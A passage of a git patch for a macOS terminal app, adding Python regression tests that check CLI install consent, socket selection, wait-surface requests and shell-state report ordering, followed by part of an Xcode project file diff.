USER_COMMAND in self.commands(g)] + programa_groups = [g for g in groups if any(MARKER in c for c in self.commands(g))] + self.assertEqual(len(user_groups), 1, groups) + self.assertEqual(len(programa_groups), 1, groups) + self.assertEqual(self.commands(user_groups[0]), [USER_COMMAND], "the user hook must not share a group with Programa's") + self.assertEqual(groups.index(user_groups[0]), 0, "the user's group keeps its position ahead of Programa's") + self.assertEqual(self.mode(), 0o600, "reinstall must not widen settings.json permissions") + + self.cli("uninstall-integration") + + remaining = self.load().get("hooks", {}).get("Notification", []) + self.assertEqual([self.commands(g) for g in remaining], [[USER_COMMAND]]) + self.assertEqual(self.mode(), 0o600, "uninstall must not widen settings.json permissions") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_cli_noninteractive_install_regression.py b/tests/test_cli_noninteractive_install_regression.py new file mode 100644 index 000000000..7541de091 --- /dev/null +++ b/tests/test_cli_noninteractive_install_regression.py @@ -0,0 +1,67 @@ +#!/usr/bin/env python3 +"""Regression (CLIX-10): integration installers never apply or abort silently without consent. + +`programa install-integration` used to exit 0 after "Aborted." when +stdin was not a terminal and no --yes was given, so a script or agent mistook a skipped install +for a successful one. The contract: without --yes/-y and without a TTY the command exits 1, +says "pass --yes" on stderr and leaves the filesystem untouched; --yes and -y both apply. + +Runs the built CLI under a temporary HOME. No socket and no app are involved. +""" + +from __future__ import annotations + +import os +import subprocess +import tempfile +import unittest +from pathlib import Path + +CLI_PATH = os.environ.get("PROGRAMA_CLI_BIN", "") +PROVIDERS = ("claude", "codex", "opencode") +STRIPPED_ENV = ( + "PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID", + "PROGRAMA_SOCKET", "PROGRAMA_SOCKET_PATH", "CLAUDE_CONFIG_DIR", "CODEX_HOME", + "OPENCODE_CONFIG_DIR", "XDG_CONFIG_HOME", +) + + +def run_install(home: str, provider: str, extra: list[str]) -> subprocess.CompletedProcess[str]: + env = dict(os.environ) + for key in STRIPPED_ENV: + env.pop(key, None) + sock = os.path.join(home, "no-such.sock") + env.update(HOME=home, CFFIXED_USER_HOME=home, PROGRAMA_SOCKET=sock, PROGRAMA_SOCKET_PATH=sock) + return subprocess.run( + [CLI_PATH, provider, "install-integration", *extra], + stdin=subprocess.DEVNULL, capture_output=True, text=True, check=False, timeout=30, env=env, + ) + + +def files_under(home: str) -> list[str]: + return sorted(str(p.relative_to(home)) for p in Path(home).rglob("*") if p.is_file()) + + +class NonInteractiveInstallTests(unittest.TestCase): + def setUp(self) -> None: + self.assertTrue(CLI_PATH and os.access(CLI_PATH, os.X_OK), "PROGRAMA_CLI_BIN must point to the built CLI") + + def test_without_consent_exits_one_and_writes_nothing(self) -> None: + for provider in PROVIDERS: + with self.subTest(provider=provider), tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") as home: + proc = run_install(home, provider, []) + self.assertEqual(proc.returncode, 1, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertIn("pass --yes", proc.stderr) + self.assertEqual(files_under(home), [], "an unconfirmed install must not create files") + + def test_yes_and_short_flag_both_apply(self) -> None: + for provider in PROVIDERS: + for flag in ("--yes", "-y"): + with self.subTest(provider=provider, flag=flag), tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") as home: + proc = run_install(home, provider, [flag]) + self.assertEqual(proc.returncode, 0, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertNotEqual(files_under(home), [], "--yes/-y must apply the install") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_cli_socket_no_autodiscovery_regression.py b/tests/test_cli_socket_no_autodiscovery_regression.py new file mode 100644 index 000000000..7c4233f6e --- /dev/null +++ b/tests/test_cli_socket_no_autodiscovery_regression.py @@ -0,0 +1,128 @@ +#!/usr/bin/env python3 +"""Regression (CLIX-18): the CLI never auto-selects another live Programa instance. + +With no PROGRAMA_SOCKET / PROGRAMA_SOCKET_PATH and nothing listening at the stable +default, `programa ping` used to fall through to any live tagged, debug or staging socket, +so a command meant for the user's app silently landed in a different build. It must not +send them a request and must name them on stderr so the caller can opt in explicitly. + +Stand-ins: a uniquely named /tmp/programa-clix18-*.sock (found by tagged-socket discovery) +always, and /tmp/programa-staging.sock only when that path is free (a real staging socket +is never touched). The test skips if a legacy /tmp/programa.sock exists, because that is a +legitimate implicit default and would answer instead. +""" + +from __future__ import annotations + +import os +import socket +import subprocess +import tempfile +import threading +import unittest +import uuid + +CLI_PATH = os.environ.get("PROGRAMA_CLI_BIN", "") +STAGING = "/tmp/programa-staging.sock" +LEGACY_DEFAULT = "/tmp/programa.sock" + + +class StandInListener: + """Answers every request with pong and records what it was sent.""" + + def __init__(self, path: str): + self.path = path + self.requests: list[bytes] = [] + self._stop = threading.Event() + self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + self._sock.bind(path) + self._sock.listen(8) + self._sock.settimeout(0.05) + self._thread = threading.Thread(target=self._serve, daemon=True) + self._workers: list[threading.Thread] = [] + + def _serve(self) -> None: + while not self._stop.is_set(): + try: + conn, _ = self._sock.accept() + except socket.timeout: + continue + except OSError: + return + worker = threading.Thread(target=self._handle, args=(conn,), daemon=True) + self._workers.append(worker) + worker.start() + + def _handle(self, conn: socket.socket) -> None: + conn.settimeout(0.2) + pending = b"" + try: + while not self._stop.is_set(): + try: + chunk = conn.recv(4096) + except socket.timeout: + continue + if not chunk: + return + pending += chunk + while b"\n" in pending: + line, pending = pending.split(b"\n", 1) + self.requests.append(line) + conn.sendall(b'{"id":"1","ok":true,"result":{"pong":true}}\n') + except OSError: + pass + finally: + conn.close() + + def __enter__(self) -> "StandInListener": + self._thread.start() + return self + + def __exit__(self, *_exc: object) -> None: + self._stop.set() + self._sock.close() + self._thread.join(timeout=2.0) + for worker in self._workers: + worker.join(timeout=2.0) + try: + os.unlink(self.path) + except FileNotFoundError: + pass + + +class NoAutodiscoveryTests(unittest.TestCase): + def setUp(self) -> None: + self.assertTrue(CLI_PATH and os.access(CLI_PATH, os.X_OK), "PROGRAMA_CLI_BIN must point to the built CLI") + if os.path.exists(LEGACY_DEFAULT): + self.skipTest(f"{LEGACY_DEFAULT} exists and would legitimately answer as the implicit default") + + def ping_without_socket_env(self) -> subprocess.CompletedProcess[str]: + with tempfile.TemporaryDirectory(prefix="pcli-home-", dir="/tmp") as home: + env = {k: v for k, v in os.environ.items() + if not k.startswith("PROGRAMA_") and k not in ("CMUX_SOCKET_PATH",)} + env.update(HOME=home, CFFIXED_USER_HOME=home) + return subprocess.run([CLI_PATH, "ping"], stdin=subprocess.DEVNULL, capture_output=True, + text=True, check=False, timeout=20, env=env) + + def test_tagged_socket_is_named_not_used(self) -> None: + path = f"/tmp/programa-clix18-{uuid.uuid4().hex[:8]}.sock" + with StandInListener(path) as listener: + proc = self.ping_without_socket_env() + self.assertNotEqual(proc.returncode, 0, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertNotIn("pong", proc.stdout.lower()) + self.assertIn(path, proc.stderr, "stderr must name the live socket the CLI refused to use") + self.assertEqual(listener.requests, [], "no request may be sent to another instance") + + def test_staging_socket_is_named_not_used(self) -> None: + if os.path.exists(STAGING): + self.skipTest(f"{STAGING} exists; never clobber a real staging socket") + with StandInListener(STAGING) as listener: + proc = self.ping_without_socket_env() + self.assertNotEqual(proc.returncode, 0, f"stdout={proc.stdout!r} stderr={proc.stderr!r}") + self.assertNotIn("pong", proc.stdout.lower()) + self.assertIn(STAGING, proc.stderr) + self.assertEqual(listener.requests, [], "no request may be sent to another instance") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_cli_wait_surface_agent_state.py b/tests/test_cli_wait_surface_agent_state.py new file mode 100644 index 000000000..f9668a2e0 --- /dev/null +++ b/tests/test_cli_wait_surface_agent_state.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python3 +"""Contract (CLIX-03): `wait-surface --agent-state` sends one surface.wait with one condition. + +Orchestrators block on a sibling agent with `wait-surface --agent-state idle`. The CLI must +send exactly one `surface.wait` request carrying only `agent_state`, and must reject an +ambiguous or unknown condition locally before touching the socket. +""" + +from __future__ import annotations + +import os +import tempfile +import unittest + +from test_cli_registry_behavior import CLI_PATH, SURFACE_ID, SocketRecorder, merged_output, run_cli + + +def cli(rec: SocketRecorder, home: str, args: list[str]): + sock = rec.path + return run_cli(sock, args, env_overrides={ + "HOME": home, "CFFIXED_USER_HOME": home, "PROGRAMA_SOCKET": sock, "PROGRAMA_SOCKET_PATH": sock, + }) + + +class WaitSurfaceAgentStateTests(unittest.TestCase): + def setUp(self) -> None: + self.assertTrue(CLI_PATH and os.access(CLI_PATH, os.X_OK), "PROGRAMA_CLI_BIN must point to the built CLI") + + def test_agent_state_sends_a_single_frame_without_other_conditions(self) -> None: + with tempfile.TemporaryDirectory(prefix="pcli-", dir="/tmp") as directory, SocketRecorder(directory) as rec: + proc = cli(rec, directory, ["wait-surface", "--surface", SURFACE_ID, "--agent-state", "idle", "--timeout", "5"]) + self.assertEqual(rec.errors, []) + self.assertEqual(proc.returncode, 0, merged_output(proc)) + waits = [f for f in rec.frames if f.get("method") == "surface.wait"] + self.assertEqual(len(waits), 1, rec.frames) + params = waits[0]["params"] + self.assertEqual(params.get("agent_state"), "idle") + self.assertNotIn("pattern", params) + self.assertNotIn("exit", params) + self.assertEqual(params.get("surface_id"), SURFACE_ID) + self.assertEqual(params.get("timeout_ms"), 5000) + + def test_ambiguous_or_unknown_condition_is_rejected_before_any_frame(self) -> None: + cases = { + "agent-state with exit": ["--agent-state", "idle", "--exit"], + "agent-state with pattern": ["--agent-state", "idle", "--pattern", "done"], + "unknown state": ["--agent-state", "bogus"], + } + for name, extra in cases.items(): + with self.subTest(name), tempfile.TemporaryDirectory(prefix="pcli-", dir="/tmp") as directory, SocketRecorder(directory) as rec: + proc = cli(rec, directory, ["wait-surface", "--surface", SURFACE_ID, *extra]) + self.assertNotEqual(proc.returncode, 0, merged_output(proc)) + self.assertEqual(rec.frames, [], f"{name}: no request may reach the socket") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_shell_state_report_ordering.py b/tests/test_shell_state_report_ordering.py new file mode 100644 index 000000000..56bc1bdf2 --- /dev/null +++ b/tests/test_shell_state_report_ordering.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Contract (CLIX-P1): shell-state reports never block the prompt and never reorder. + +The zsh and bash integrations report `running` before a command and `prompt` after it. A +slow CLI must not delay the shell, a late `running` must not land after the next `prompt`, +and bash must not print job-control noise ("[1] 1234") into the user's terminal. + +The real integration scripts are sourced into a real shell. The CLI is a stub that sleeps +longer for `running` than for `prompt`, so any lost ordering shows up in its log. The fake +socket answers auth_required to force the CLI fallback, or ok to exercise the zsh direct path. +""" + +from __future__ import annotations + +import json +import os +import re +import shutil +import socket +import subprocess +import tempfile +import threading +import time +import unittest +from pathlib import Path + +INTEGRATION_DIR = Path(__file__).resolve().parent.parent / "Resources" / "shell-integration" +ZSH_INTEGRATION = INTEGRATION_DIR / "programa-zsh-integration.zsh" +BASH_INTEGRATION = INTEGRATION_DIR / "programa-bash-integration.bash" +STATES = ["running", "prompt", "running", "prompt"] + +STUB = """#!/bin/sh +# usage: stub rpc ; logs the reported state after a state-dependent delay +state=$(printf '%s' "$3" | sed -n 's/.*"state":"\\([a-z]*\\)".*/\\1/p') +[ "$state" = running ] && sleep 0.4 +printf '%s\\n' "$state" >> "$STUB_LOG" +""" + + +class FakeSocket: + def __init__(self, path: str, reply: bytes): + self.path = path + self.reply = reply + self.states: list[str] = [] + self._stop = threading.Event() + self._sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + self._sock.bind(path) + self._sock.listen(8) + self._sock.settimeout(0.05) + self._threads = [threading.Thread(target=self._accept, daemon=True)] + + def _accept(self) -> None: + while not self._stop.is_set(): + try: + conn, _ = self._sock.accept() + except socket.timeout: + continue + except OSError: + return + worker = threading.Thread(target=self._handle, args=(conn,), daemon=True) + self._threads.append(worker) + worker.start() + + def _handle(self, conn: socket.socket) -> None: + conn.settimeout(0.2) + pending = b"" + try: + while not self._stop.is_set(): + try: + chunk = conn.recv(4096) + except socket.timeout: + continue + if not chunk: + return + pending += chunk + while b"\n" in pending: + line, pending = pending.split(b"\n", 1) + try: + self.states.append(json.loads(line)["params"]["state"]) + except (ValueError, KeyError): + self.states.append(f"") + conn.sendall(self.reply + b"\n") + except OSError: + pass + finally: + conn.close() + + def __enter__(self) -> "FakeSocket": + self._threads[0].start() + return self + + def __exit__(self, *_exc: object) -> None: + self._stop.set() + self._sock.close() + for t in self._threads: + t.join(timeout=2.0) + + +AUTH_REQUIRED = b'{"id":1,"ok":false,"error":{"code":"auth_required","message":"auth required"}}' +OK = b'{"id":1,"ok":true,"result":{}}' + + +class ShellStateReportTests(unittest.TestCase): + def setUp(self) -> None: + self._tmp = tempfile.TemporaryDirectory(prefix="pshell-", dir="/tmp") + self.addCleanup(self._tmp.cleanup) + self.dir = Path(self._tmp.name) + self.stub = self.dir / "programa-stub" + self.stub.write_text(STUB) + self.stub.chmod(0o755) + self.log = self.dir / "stub.log" + self.sock_path = str(self.dir / "s.sock") + + def env(self) -> dict[str, str]: + env = {k: v for k, v in os.environ.items() if not k.startswith(("PROGRAMA_", "GHOSTTY_"))} + env.update( + HOME=str(self.dir), CFFIXED_USER_HOME=str(self.dir), TMPDIR=str(self.dir), + PROGRAMA_SOCKET=self.sock_path, PROGRAMA_SOCKET_PATH=self.sock_path, + PROGRAMA_BUNDLED_CLI_PATH=str(self.stub), PROGRAMA_TAB_ID="tab-1", + PROGRAMA_WORKSPACE_ID="ws-1", PROGRAMA_PANEL_ID="panel-1", STUB_LOG=str(self.log), + ) + return env + + def logged(self) -> list[str]: + return self.log.read_text().split() if self.log.exists() else [] + + def run_shell(self, argv: list[str], script: str, settle: float) -> subprocess.CompletedProcess[str]: + started = time.monotonic() + proc = subprocess.run(argv + ["-c", script], stdin=subprocess.DEVNULL, capture_output=True, + text=True, check=False, timeout=30, env=self.env()) + self.assertGreaterEqual(time.monotonic() - started, settle) + return proc + + def report_script(self, integration: Path, settle: float) -> str: + calls = "\n".join(f"_programa_report_shell_activity_state {s}" for s in STATES) + return f'source "{integration}"\n{calls}\nsleep {settle}\n' + + def test_zsh_fallback_keeps_order_without_blocking(self) -> None: + with FakeSocket(self.sock_path, AUTH_REQUIRED): + # The reports themselves must return long before the 0.4 s stub finishes. + script = self.report_script(ZSH_INTEGRATION, 3) + script = script.replace("sleep 3", 'echo "REPORTS_DONE $EPOCHREALTIME"; sleep 3') + start = time.time() + proc = self.run_shell(["zsh", "-f"], 'zmodload zsh/datetime; ' + script, 3) + self.assertEqual(self.logged(), STATES, proc.stderr) + done = re.search(r"REPORTS_DONE (\d+\.\d+)", proc.stdout) + self.assertIsNotNone(done, proc.stdout + proc.stderr) + self.assertLess(float(done.group(1)) - start, 1.0, "the four reports must not wait on the slow CLI") + + def test_zsh_direct_socket_sends_frames_in_order_without_cli(self) -> None: + if subprocess.run(["zsh", "-f", "-c", "zmodload zsh/net/socket"], capture_output=True).returncode != 0: + self.skipTest("zsh/net/socket is not available") + with FakeSocket(self.sock_path, OK) as fake: + self.run_shell(["zsh", "-f"], self.report_script(ZSH_INTEGRATION, 0.5), 0.5) + states = list(fake.states) + self.assertEqual(states, STATES) + self.assertEqual(self.logged(), [], "the CLI must not run when the direct socket answers ok") + + def test_bash_keeps_order_without_job_noise(self) -> None: + bashes = [b for b in dict.fromkeys(["/bin/bash", shutil.which("bash") or ""]) if b and os.access(b, os.X_OK)] + self.assertTrue(bashes) + for index, bash in enumerate(bashes): + with self.subTest(bash=bash): + self.log.unlink(missing_ok=True) + self.sock_path = str(self.dir / f"b{index}.sock") + with FakeSocket(self.sock_path, AUTH_REQUIRED): + proc = self.run_shell([bash, "--norc", "--noprofile", "-i", "-m"], + self.report_script(BASH_INTEGRATION, 3), 3) + self.assertEqual(self.logged(), STATES, proc.stderr) + self.assertIsNone(re.search(r"\[\d+\]\s+\d+", proc.stderr + proc.stdout), + f"job-control noise leaked: {proc.stderr!r}") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests_v2/test_cli_global_flags_and_v1_error_contract.py b/tests_v2/test_cli_global_flags_and_v1_error_contract.py index cdcb969cd..6dc7ad6db 100644 --- a/tests_v2/test_cli_global_flags_and_v1_error_contract.py +++ b/tests_v2/test_cli_global_flags_and_v1_error_contract.py @@ -15,7 +15,6 @@ SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") -LAST_SOCKET_HINT_PATH = Path("/tmp/programa-last-socket-path") def _find_cli_binary() -> str: @@ -53,30 +52,6 @@ def main() -> int: _must(version_proc.returncode == 0, f"--version should succeed: {version_proc.returncode} {version_out!r}") _must("programa" in version_out, f"--version output should mention programa: {version_out!r}") - # Debug builds should auto-resolve the active debug socket via /tmp/programa-last-socket-path - # when PROGRAMA_SOCKET_PATH is not set. - hint_backup: str | None = None - hint_had_file = LAST_SOCKET_HINT_PATH.exists() - if hint_had_file: - hint_backup = LAST_SOCKET_HINT_PATH.read_text(encoding="utf-8") - try: - LAST_SOCKET_HINT_PATH.write_text(f"{SOCKET_PATH}\n", encoding="utf-8") - auto_env = dict(os.environ) - auto_env.pop("PROGRAMA_SOCKET_PATH", None) - auto_env.pop("PROGRAMA_SOCKET", None) - auto_ping = _run([cli, "ping"], env=auto_env) - auto_ping_out = _merged_output(auto_ping).lower() - _must(auto_ping.returncode == 0, f"debug auto socket resolution should succeed: {auto_ping.returncode} {auto_ping_out!r}") - _must("pong" in auto_ping_out, f"debug auto socket resolution should return pong: {auto_ping_out!r}") - finally: - try: - if hint_had_file: - LAST_SOCKET_HINT_PATH.write_text(hint_backup or "", encoding="utf-8") - else: - LAST_SOCKET_HINT_PATH.unlink(missing_ok=True) - except OSError: - pass - # Global --password should parse as a flag (not a command name) and still allow non-password sockets. ping_proc = _run([cli, "--socket", SOCKET_PATH, "--password", "ignored-in-programaonly", "ping"]) ping_out = _merged_output(ping_proc).lower() diff --git a/tests_v2/test_codex_install_integration.py b/tests_v2/test_codex_install_integration.py index 13a91fd37..5e56b216b 100644 --- a/tests_v2/test_codex_install_integration.py +++ b/tests_v2/test_codex_install_integration.py @@ -67,7 +67,10 @@ def _run( env = os.environ.copy() for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): env.pop(var, None) - env["CODEX_HOME"] = codex_home + # The Codex skill lands under $HOME/.agents/skills: point HOME (and + # CFFIXED_USER_HOME, which Foundation's home lookup honors) at the temp dir so + # a run never writes into the developer's real home. + env.update(CODEX_HOME=codex_home, HOME=codex_home, CFFIXED_USER_HOME=codex_home) return subprocess.run( [cli] + args, capture_output=True, @@ -327,16 +330,16 @@ def artifacts() -> dict: before = artifacts() declined = invoke("install-integration") - _must(declined.returncode == 0, f"Declining installation must exit cleanly: {_merged(declined)}") - _must("Aborted." in _merged(declined), f"EOF must decline installation: {_merged(declined)}") + _must(declined.returncode == 1, f"Non-interactive install without --yes must exit 1: {_merged(declined)}") + _must("pass --yes" in _merged(declined), f"EOF must decline installation: {_merged(declined)}") _must(artifacts() == before, f"EOF must not authorize installation: {_merged(declined)}") installed = invoke("install-integration", consent=True) _must(installed.returncode == 0, f"explicit installation failed: {_merged(installed)}") before = artifacts() _must(bool(before), "explicit installation must produce managed artifacts") declined = invoke("uninstall-integration") - _must(declined.returncode == 0, f"Declining uninstall must exit cleanly: {_merged(declined)}") - _must("Aborted." in _merged(declined), f"EOF must decline uninstall: {_merged(declined)}") + _must(declined.returncode == 1, f"Non-interactive uninstall without --yes must exit 1: {_merged(declined)}") + _must("pass --yes" in _merged(declined), f"EOF must decline uninstall: {_merged(declined)}") _must(artifacts() == before, f"EOF must not authorize uninstall: {_merged(declined)}") print(" PASS: EOF preserves installation and uninstallation artifacts") diff --git a/tests_v2/test_opencode_install_integration.py b/tests_v2/test_opencode_install_integration.py index 505958aae..cbbddbe44 100644 --- a/tests_v2/test_opencode_install_integration.py +++ b/tests_v2/test_opencode_install_integration.py @@ -127,7 +127,7 @@ def test_modified_file_reinstall_shows_diff_and_restores(cli: str) -> None: plugin_path.write_text(modified, encoding="utf-8") proc2 = _run(cli, ["opencode", "install-integration"], config_dir, input_text="n\n") - _must(proc2.returncode == 0, f"declining reinstall should still exit 0: {_merged(proc2)}") + _must(proc2.returncode == 1, f"non-TTY reinstall without --yes must exit 1: {_merged(proc2)}") output = _merged(proc2) _must("+" in output or "-" in output, f"expected a diff view in output, got: {output}") _must( From 74d4164ee9f1a27d344a7e27d27659dbf9b50cf3 Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:27:14 -0300 Subject: [PATCH 06/21] fix: confirm before closing a window with running processes --- GhosttyTabs.xcodeproj/project.pbxproj | 12 + Resources/Localizable.xcstrings | 255 ++++++++++++++---- Sources/AppDelegate.swift | 118 +++----- Sources/BrowserWindowHostView.swift | 8 +- Sources/ContentView+CommandPalette.swift | 51 ++-- Sources/ContentView.swift | 72 ----- Sources/MainWindowController.swift | 13 + Sources/Panels/BrowserDownloadDelegate.swift | 104 ++++++- Sources/Panels/BrowserHistoryStore.swift | 4 + .../BrowserPanel+WorkspaceLifecycle.swift | 28 +- Sources/Panels/BrowserPanel.swift | 23 +- Sources/Panels/BrowserPanelView.swift | 6 + Sources/Panels/BrowserPanelWebDelegates.swift | 42 ++- .../Panels/BrowserPopupWindowController.swift | 28 +- Sources/Panels/BrowserSettings.swift | 109 ++++++-- Sources/Panels/DesignMode.swift | 114 ++++++-- Sources/Panels/InspectorDock.swift | 12 + Sources/Panels/MarkdownDocumentView.swift | 22 ++ Sources/Panels/Omnibar.swift | 16 +- Sources/Panels/OmnibarSuggestionsView.swift | 5 +- Sources/Panels/ProgramaWebView.swift | 119 +++----- Sources/ProgramaApp.swift | 20 ++ Sources/TabManager.swift | 71 ++++- Sources/WindowOverlayControllers.swift | 11 + Sources/WindowSwizzles.swift | 54 +++- .../AppDelegateShortcutRoutingTests.swift | 2 +- programaTests/BrowserConfigTests.swift | 10 +- programaTests/ShellFixSweepSHELTests.swift | 215 +++++++++++++++ .../WindowCloseConfirmCancelUITests.swift | 95 +++++++ 29 files changed, 1213 insertions(+), 426 deletions(-) create mode 100644 Sources/MainWindowController.swift create mode 100644 programaTests/ShellFixSweepSHELTests.swift create mode 100644 programaUITests/WindowCloseConfirmCancelUITests.swift diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index cf966b134..4a2198c8b 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -111,6 +111,7 @@ A5001006 /* GhosttyKit.xcframework in Frameworks */ = {isa = PBXBuildFile; fileRef = A5001016 /* GhosttyKit.xcframework */; }; A5001007 /* TerminalController.swift in Sources */ = {isa = PBXBuildFile; fileRef = A5001019 /* TerminalController.swift */; }; H1AP0002 /* AppLifecycleCoordinator.swift in Sources */ = {isa = PBXBuildFile; fileRef = H1AP0001 /* AppLifecycleCoordinator.swift */; }; + BEAD00000000000000000002 /* MainWindowController.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEAD00000000000000000001 /* MainWindowController.swift */; }; H1SN0002 /* AppDelegate+SessionSnapshotPersistence.swift in Sources */ = {isa = PBXBuildFile; fileRef = H1SN0001 /* AppDelegate+SessionSnapshotPersistence.swift */; }; A5FF0014 /* TerminalController+BrowserAutomation.swift in Sources */ = {isa = PBXBuildFile; fileRef = A5FF0004 /* TerminalController+BrowserAutomation.swift */; }; H1BR0002 /* BrowserRPCDispatcher.swift in Sources */ = {isa = PBXBuildFile; fileRef = H1BR0001 /* BrowserRPCDispatcher.swift */; }; @@ -290,6 +291,7 @@ B900001AA1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = B9000019A1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift */; }; B9000023A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = B9000022A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift */; }; B9000025A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = B9000026A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift */; }; + BEEF50100000000000000003 /* WindowCloseConfirmCancelUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF50100000000000000004 /* WindowCloseConfirmCancelUITests.swift */; }; D0E0F0B0A1B2C3D4E5F60718 /* BrowserPaneNavigationKeybindUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D0E0F0B1A1B2C3D4E5F60718 /* BrowserPaneNavigationKeybindUITests.swift */; }; D0E0F0B2A1B2C3D4E5F60718 /* BrowserOmnibarSuggestionsUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D0E0F0B3A1B2C3D4E5F60718 /* BrowserOmnibarSuggestionsUITests.swift */; }; E1000000A1B2C3D4E5F60718 /* MenuKeyEquivalentRoutingUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = E1000001A1B2C3D4E5F60718 /* MenuKeyEquivalentRoutingUITests.swift */; }; @@ -298,6 +300,7 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */; }; F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */; }; F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */; }; + BEEF50100000000000000001 /* ShellFixSweepSHELTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF50100000000000000002 /* ShellFixSweepSHELTests.swift */; }; RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */; }; 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */; }; SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */; }; @@ -529,6 +532,7 @@ CESH000003 /* session_escrow_shim.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = session_escrow_shim.h; sourceTree = ""; }; A5001019 /* TerminalController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = TerminalController.swift; sourceTree = ""; }; H1AP0001 /* AppLifecycleCoordinator.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppLifecycleCoordinator.swift; sourceTree = ""; }; + BEAD00000000000000000001 /* MainWindowController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MainWindowController.swift; sourceTree = ""; }; H1SN0001 /* AppDelegate+SessionSnapshotPersistence.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "AppDelegate+SessionSnapshotPersistence.swift"; sourceTree = ""; }; A5FF0004 /* TerminalController+BrowserAutomation.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "TerminalController+BrowserAutomation.swift"; sourceTree = ""; }; H1BR0001 /* BrowserRPCDispatcher.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserRPCDispatcher.swift; sourceTree = ""; }; @@ -699,6 +703,7 @@ B9000019A1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CloseWorkspaceConfirmDialogUITests.swift; sourceTree = ""; }; B9000022A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CloseWorkspaceCmdDUITests.swift; sourceTree = ""; }; B9000026A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CloseWindowConfirmDialogUITests.swift; sourceTree = ""; }; + BEEF50100000000000000004 /* WindowCloseConfirmCancelUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WindowCloseConfirmCancelUITests.swift; sourceTree = ""; }; D0E0F0B1A1B2C3D4E5F60718 /* BrowserPaneNavigationKeybindUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserPaneNavigationKeybindUITests.swift; sourceTree = ""; }; D0E0F0B3A1B2C3D4E5F60718 /* BrowserOmnibarSuggestionsUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserOmnibarSuggestionsUITests.swift; sourceTree = ""; }; E1000001A1B2C3D4E5F60718 /* MenuKeyEquivalentRoutingUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MenuKeyEquivalentRoutingUITests.swift; sourceTree = ""; }; @@ -708,6 +713,7 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */ = {isa = PBXFileReference; 